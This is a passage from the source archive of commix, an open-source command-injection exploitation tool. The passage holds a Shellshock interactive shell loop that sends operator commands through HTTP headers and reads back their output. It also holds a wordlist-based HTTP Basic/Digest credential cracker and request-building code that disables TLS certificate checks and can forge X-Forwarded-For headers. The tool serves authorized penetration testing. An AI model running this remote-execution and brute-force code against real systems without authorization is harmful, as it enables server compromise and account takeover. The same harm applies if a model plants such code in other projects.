raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
enumeration(url, cve, check_header, filename)
# File access options.
if settings.FILE_ACCESS_DONE == True:
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
file_access(url, cve, check_header, filename)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
checks.print_single_os_cmd(cmd, shell, filename)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = checks.enable_shell(url)
if gotshell in settings.CHOICE_YES:
settings.print_data_to_stdout(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
settings.print_data_to_stdout(settings.END_LINE.CR +settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option is not False:
go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
settings.print_data_to_stdout(settings.command_execution_output(shell))
else:
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL == 1:
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.print_data_to_stdout(settings.print_payload(payload))
elif settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
settings.print_data_to_stdout(settings.print_payload(payload))
if settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = common.invalid_cmd_output(cmd)
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
logs.logs_notification(filename)
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(gotshell)
continue
break
except (KeyboardInterrupt, SystemExit):
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise
except EOFError:
if settings.STDIN_PARSING:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
raise
except TypeError:
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "All tested HTTP headers appear to be not injectable."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
logs.logs_notification(filename)
except _urllib.error.HTTPError as err_msg:
if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
response = False
elif settings.IGNORE_ERR_MSG == False:
err = str(err_msg) + "."
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err))
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
except _urllib.error.URLError as err_msg:
err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except _http_client.IncompleteRead as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "."))
raise SystemExit()
"""
Execute user commands
"""
def cmd_exec(url, cmd, cve, check_header, filename):
"""
Check for shellshock 'shell'
"""
def check_for_shell(url, cmd, cve, check_header, filename):
try:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
cmd = "echo " + TAG + "$(" + cmd + ")" + TAG
payload = shellshock_exploitation(cve, cmd)
debug_msg = "Executing the '" + cmd + "' command. "
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
if settings.VERBOSITY_LEVEL != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_payload(payload))
header = {check_header : payload}
request = _urllib.request.Request(url, None, header)
if check_header == settings.USER_AGENT:
menu.options.agent = payload
log_http_headers.do_check(request)
log_http_headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
response = proxy.use_proxy(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if check_header == settings.USER_AGENT:
menu.options.agent = default_user_agent
shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ')
shell = re.findall(r"" + TAG + "(.*)" + TAG, shell)
shell = ''.join(shell)
return shell, payload
except _urllib.error.URLError as err_msg:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) == 0:
cmd = "/bin/" + cmd
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) > 0:
pass
elif len(shell) == 0:
cmd = "/usr" + cmd
shell, payload = check_for_shell(url, cmd, cve, check_header, filename)
if len(shell) > 0:
pass
return shell, payload
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, http_request_method, filename):
if shellshock_handler(url, http_request_method, filename) == False:
return False
# eof commix-4.0/src/core/requests/ 0000775 0000000 0000000 00000000000 14731205621 0016244 5 ustar 00root root 0000000 0000000 commix-4.0/src/core/requests/__init__.py 0000664 0000000 0000000 00000000743 14731205621 0020361 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-4.0/src/core/requests/authentication.py 0000664 0000000 0000000 00000021547 14731205621 0021646 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import time
import base64
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.requests import proxy
from src.core.requests import headers
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import http_cookiejar as _http_cookiejar
"""
If a dashboard or an administration panel is found (auth_url),
do the authentication process using the provided credentials (auth_data).
"""
"""
The authentication process
"""
def authentication_process(http_request_method):
try:
auth_url = menu.options.auth_url
auth_data = menu.options.auth_data
#cj = cookielib.CookieJar()
cj = _http_cookiejar.CookieJar()
opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj))
cookies = ""
for cookie in cj:
cookie_values = cookie.name + "=" + cookie.value + "; "
cookies += cookie_values
if len(cookies) != 0 :
menu.options.cookie = cookies.rstrip()
if settings.VERBOSITY_LEVEL != 0:
info_msg = "The received cookie is "
info_msg += str(menu.options.cookie) + Style.RESET_ALL + "."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
_urllib.request.install_opener(opener)
request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=http_request_method)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request.
return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
checks.connection_exceptions(err_msg)
"""
Define the HTTP authentication
wordlists for usernames / passwords.
"""
def define_wordlists():
while True:
message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > "
do_update = common.read_input(message, default="Y", check_batch=True)
if do_update in settings.CHOICE_YES:
username_txt_file = settings.USERNAMES_TXT_FILE
passwords_txt_file = settings.PASSWORDS_TXT_FILE
info_msg = "Setting default wordlists for dictionary-based attack."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
break
elif do_update in settings.CHOICE_NO:
message = "Please enter usernames wordlist > "
username_txt_file = common.read_input(message, default=None, check_batch=True)
message = "Please enter passwords wordlist > "
passwords_txt_file = common.read_input(message, default=None, check_batch=True)
break
elif do_update in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(do_update)
pass
try:
usernames = []
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Parsing usernames wordlist '" + username_txt_file + "'."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
if not os.path.isfile(username_txt_file):
err_msg = "The specified file '" + str(username_txt_file) + "' does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(username_txt_file) == 0:
err_msg = "The specified file '" + str(username_txt_file) + "' seems empty."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(username_txt_file, "r") as f:
for line in f:
line = line.strip()
usernames.append(line)
except IOError:
err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
try:
passwords = []
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Parsing passwords wordlist '" + passwords_txt_file + "'."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
if not os.path.isfile(passwords_txt_file):
err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if len(passwords_txt_file) == 0:
err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
with open(passwords_txt_file, "r") as f:
for line in f:
line = line.strip()
passwords.append(line)
except IOError:
err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
return usernames, passwords
"""
Simple Basic / Digest HTTP authentication cracker.
"""
def http_auth_cracker(url, realm, http_request_method):
settings.PERFORM_CRACKING = True
# Define the HTTP authentication type.
authentication_type = menu.options.auth_type
# Define the authentication wordlists for usernames / passwords.
usernames, passwords = define_wordlists()
i = 1
found = False
total = len(usernames) * len(passwords)
for username in usernames:
for password in passwords:
float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2))
# Check if verbose mode on
if settings.VERBOSITY_LEVEL != 0:
payload = "'" + username + ":" + password + "'"
if settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.print_checking_msg(payload))
else:
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * len(payload))
try:
# Basic authentication
if authentication_type.lower() == settings.AUTH_TYPE.BASIC:
authhandler = _urllib.request.HTTPBasicAuthHandler()
# Digest authentication
elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST:
authhandler = _urllib.request.HTTPDigestAuthHandler()
authhandler.add_password(realm, url, username, password)
opener = _urllib.request.build_opener(authhandler)
_urllib.request.install_opener(opener)
request = _urllib.request.Request(url, method=http_request_method)
headers.do_check(request)
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor:
proxy.use_proxy(request)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
found = True
except KeyboardInterrupt :
raise
except (_urllib.error.HTTPError, _urllib.error.URLError):
pass
if found:
if settings.VERBOSITY_LEVEL == 0:
float_percent = settings.info_msg
else:
if str(float_percent) == "100.0%":
if settings.VERBOSITY_LEVEL == 0:
float_percent = settings.FAIL_STATUS
else:
i = i + 1
float_percent = ".. (" + float_percent + ")"
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Checking for a valid pair of HTTP authentication credentials."
info_msg += float_percent
settings.print_data_to_stdout("\r\r" + settings.print_info_msg(info_msg))
if found:
if not settings.LOAD_SESSION:
session_handler.import_valid_credentials(url, authentication_type, url, username, password)
valid_pair = "" + username + ":" + password + ""
if not settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Identified a valid pair of credentials: '" + valid_pair + "'."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
return valid_pair
err_msg = "Use the '--auth-cred' option to provide a valid pair of "
err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") "
err_msg += "or place an other dictionary into '"
err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory."
settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg))
return False
# eof commix-4.0/src/core/requests/headers.py 0000775 0000000 0000000 00000044471 14731205621 0020246 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import ssl
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
# Legacy Python that doesn't verify HTTPS certificates by default
pass
else:
# Handle target environment that doesn't support HTTPS verification
ssl._create_default_https_context = _create_unverified_https_context
import sys
import time
import errno
import base64
try:
from base64 import encodebytes
except ImportError:
from base64 import encodestring as encodebytes
import socket
from socket import error as SocketError
from src.thirdparty.six.moves import http_client as _http_client
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import urllib as _urllib
"""
Checking the HTTP response content.
"""
def http_response_content(content):
if type(content) is bytes:
content = content.decode(settings.DEFAULT_CODEC)
if settings.VERBOSITY_LEVEL >= 4:
content = checks.remove_empty_lines(content)
settings.print_data_to_stdout(settings.print_http_response_content(content))
if menu.options.traffic_file:
logs.log_traffic(content)
logs.log_traffic("\n\n" + "#" * 77 + "\n\n")
"""
Checking the HTTP response headers.
"""
def http_response(headers, code):
response_http_headers = str(headers).split("\n")
for header in response_http_headers:
if len(header) > 1:
if settings.VERBOSITY_LEVEL >= 3:
settings.print_data_to_stdout(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
logs.log_traffic("\n\n")
"""
Print HTTP response headers / Body.
"""
def print_http_response(response_headers, code, page):
if int(code) in settings.ABORT_CODE:
err_msg = "Aborting due to detected HTTP code '" + str(code) + "'. "
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.VERBOSITY_LEVEL >= 3 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 3:
resp_msg = "HTTP response [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):"
settings.print_data_to_stdout(settings.print_response_msg(resp_msg))
if menu.options.traffic_file:
resp_msg = "HTTP response [#" + str(settings.TOTAL_OF_REQUESTS) + "] (" + str(code) + "):"
logs.log_traffic("\n" + resp_msg)
http_response(response_headers, code)
if settings.VERBOSITY_LEVEL >= 4 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 4:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
try:
http_response_content(page)
except AttributeError:
http_response_content(page.decode(settings.DEFAULT_CODEC))
"""
Checking the HTTP Headers & HTTP/S Request.
"""
def check_http_traffic(request):
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
if settings.SCHEME == 'https':
http_client = _http_client.HTTPSConnection
else:
http_client = _http_client.HTTPConnection
class connection(http_client):
def send(self, req):
headers = req.decode()
request_http_headers = str(headers).split("\r\n")
unique_request_http_headers = []
[unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers]
request_http_headers = [x for x in unique_request_http_headers if x]
if settings.USER_DEFINED_POST_DATA and \
len(request_http_headers) == 1 and \
settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
settings.print_data_to_stdout(settings.print_traffic(header))
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
http_client.send(self, req)
class connection_handler(_urllib.request.HTTPSHandler, _urllib.request.HTTPHandler, object):
"""
Print HTTP request headers.
"""
def print_http_response(self):
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file:
if settings.VERBOSITY_LEVEL >= 2:
req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:"
settings.print_data_to_stdout(settings.print_request_msg(req_msg))
if menu.options.traffic_file:
req_msg = "HTTP request [#" + str(settings.TOTAL_OF_REQUESTS) + "]:"
logs.log_traffic(req_msg)
def http_open(self, req):
try:
self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).http_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
checks.connection_exceptions(err_msg)
def https_open(self, req):
try:
self.print_http_response()
self.do_open(connection, req)
return super(connection_handler, self).https_open(req)
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
checks.connection_exceptions(err_msg)
opener = _urllib.request.build_opener(connection_handler())
# Time limit mechanism.
if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit):
raise SystemExit()
_ = False
response = False
unauthorized = False
while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False:
if any((settings.REVERSE_TCP, settings.BIND_TCP)):
_ = True
if settings.MULTI_TARGETS:
if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0:
settings.MULTI_ENCODED_PAYLOAD = []
menu.options.tamper = settings.USER_APPLIED_TAMPER
try:
response = opener.open(request, timeout=settings.TIMEOUT)
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \
(settings.INIT_TEST == True and settings.MULTI_TARGETS):
if settings.VALID_URL == False:
settings.VALID_URL = True
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "Invalid target URL has been given."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except AttributeError:
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
else:
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg:
if not settings.MULTI_TARGETS and not settings.CRAWLING:
pass
else:
if not settings.INIT_TEST:
checks.connection_exceptions(err_msg)
break
try:
if response is False:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
code = response.getcode()
response_headers = response.info()
page = checks.page_encoding(response, action="encode")
response_headers[settings.URI_HTTP_HEADER] = response.geturl()
response_headers = str(response_headers).strip("\n")
# Checks for not declared cookie(s), while server wants to set its own.
if not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
print_http_response(response_headers, code, page)
# Checks regarding a potential CAPTCHA protection mechanism.
checks.captcha_check(page)
# Checks regarding a potential browser verification protection mechanism.
checks.browser_verification(page)
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
# Checks for not declared cookie(s), while server wants to set its own.
if not menu.options.drop_set_cookie:
checks.not_declared_cookies(err)
try:
if err.fp is None:
raise AttributeError
page = checks.page_encoding(err, action="encode")
except Exception as e:
page = ''
print_http_response(err.info(), err.code, page)
if (not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST and \
not settings.CRAWLED_URLS_NUM != 0 and \
not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
settings.HTTP_ERROR_CODES_SUM.append(err.code)
if settings.VERBOSITY_LEVEL >= 2:
if len(str(err).split(": ")[1]) == 0:
error_msg = "Non-standard HTTP status code"
pass
else:
error_msg = str(err).replace(": "," (")
if len(str(err).split(": ")[1]) == 0:
err_msg = error_msg + "Non-standard HTTP status code"
else:
err_msg = error_msg
settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ")."))
raise SystemExit()
"""
Check for added headers.
"""
def do_check(request):
# Check if defined any Cookie HTTP header.
if menu.options.cookie and not settings.COOKIE_INJECTION:
request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie))
# Check if defined any User-Agent HTTP header.
if menu.options.agent and not settings.USER_AGENT_INJECTION:
request.add_header(settings.USER_AGENT, checks.remove_tags(menu.options.agent))
# Check if defined any Referer HTTP header.
if menu.options.referer and not settings.REFERER_INJECTION:
request.add_header(settings.REFERER, checks.remove_tags(menu.options.referer))
# Check if defined any Host HTTP header.
if menu.options.host and not settings.HOST_INJECTION:
request.add_header(settings.HOST, checks.remove_tags(menu.options.host))
if not checks.get_header(request.headers, settings.ACCEPT):
request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE)
if not checks.get_header(request.headers, settings.CONTENT_TYPE):
request.add_unredirected_header(settings.CONTENT_TYPE, settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE)
# The MIME media type for JSON.
if menu.options.data and not (menu.options.requestfile or menu.options.logfile):
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
request.add_unredirected_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
# Default value for "Accept-Encoding" HTTP header
if not (menu.options.requestfile or menu.options.logfile):
request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
# Appends a fake HTTP header 'X-Forwarded-For' (and alike)
if settings.TAMPER_SCRIPTS["xforwardedfor"]:
from src.core.tamper import xforwardedfor
xforwardedfor.tamper(request)
# Check if defined any HTTP Authentication credentials.
# HTTP Authentication: Basic, Digest, Bearer Access Authentication.
if menu.options.auth_cred and menu.options.auth_type:
if menu.options.auth_type.lower() not in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST, settings.AUTH_TYPE.BEARER):
err_msg = "HTTP authentication type value must be Basic, Digest or Bearer."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if menu.options.auth_type.lower() == settings.AUTH_TYPE.BEARER:
request.add_header(settings.AUTHORIZATION, "Bearer " + menu.options.auth_cred.strip())
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC:
b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '')
request.add_header(settings.AUTHORIZATION, "Basic " + b64_string)
elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST:
try:
url = menu.options.url
try:
response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as e:
try:
authline = e.headers.get('www-authenticate', '')
authobj = re.match(r'''(\w*)\s+realm=(.*),''',authline).groups()
realm = authobj[1].split(',')[0].replace("\"", "")
user_pass_pair = menu.options.auth_cred.split(":")
username = user_pass_pair[0]
password = user_pass_pair[1]
authhandler = _urllib.request.HTTPDigestAuthHandler()
authhandler.add_password(realm, url, username, password)
opener = _urllib.request.build_opener(authhandler)
_urllib.request.install_opener(opener)
result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT)
except AttributeError:
pass
except _urllib.error.HTTPError as e:
pass
else:
pass
# Check if defined any extra HTTP headers.
if settings.EXTRA_HTTP_HEADERS or settings.RAW_HTTP_HEADERS:
if settings.RAW_HTTP_HEADERS:
menu.options.headers = settings.RAW_HTTP_HEADERS
# Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided.
if menu.options.headers:
extra_headers = checks.process_custom_injection_data(menu.options.headers)
elif menu.options.header:
extra_headers = checks.process_custom_injection_data(menu.options.header)
extra_headers = extra_headers.replace(":",": ")
if ": //" in extra_headers:
extra_headers = extra_headers.replace(": //" ,"://")
if "\\n" in extra_headers:
extra_headers = extra_headers.split("\\n")
# Remove empty strings and "Content-Length"
extra_headers = [x for x in extra_headers if settings.CONTENT_LENGTH not in x]
else:
tmp_extra_header = []
tmp_extra_header.append(extra_headers)
extra_headers = tmp_extra_header
# Remove empty strings and/or duplicates
_ = [x for x in extra_headers if x]
extra_headers = (list(dict.fromkeys(_)))
if menu.options.data:
# The MIME media type for JSON.
if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \
re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data):
if settings.CONTENT_TYPE not in str(extra_headers):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE)
elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data):
if settings.CONTENT_TYPE not in str(extra_headers):
request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE)
if settings.ACCEPT_ENCODING not in str(extra_headers):
request.add_header(settings.ACCEPT_ENCODING, settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE)
for extra_header in extra_headers:
try:
# Extra HTTP Header name
http_header_name = extra_header.split(':', 1)[0]
http_header_name = ''.join(http_header_name).strip()
# Extra HTTP Header value
http_header_value = extra_header.split(':', 1)[1]
http_header_value = ''.join(http_header_value).strip().replace(": ",":")
# Check if it is a custom header injection.
if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]:
if not settings.CUSTOM_HEADER_INJECTION:
if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value:
settings.CUSTOM_HEADER_CHECK = http_header_name
# settings.CUSTOM_INJECTION_MARKER = True
if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value:
settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True
settings.CUSTOM_HEADER_CHECK = http_header_name
if len(http_header_name) != 0 and \
http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \
http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES:
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value)
http_header_value = checks.remove_tags(http_header_value)
request.add_header(http_header_name, http_header_value)
if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]:
request.add_header(http_header_name, http_header_value)
except:
pass
# eof commix-4.0/src/core/requests/parameters.py 0000775 0000000 0000000 00000107036 14731205621 0020773 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import json
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
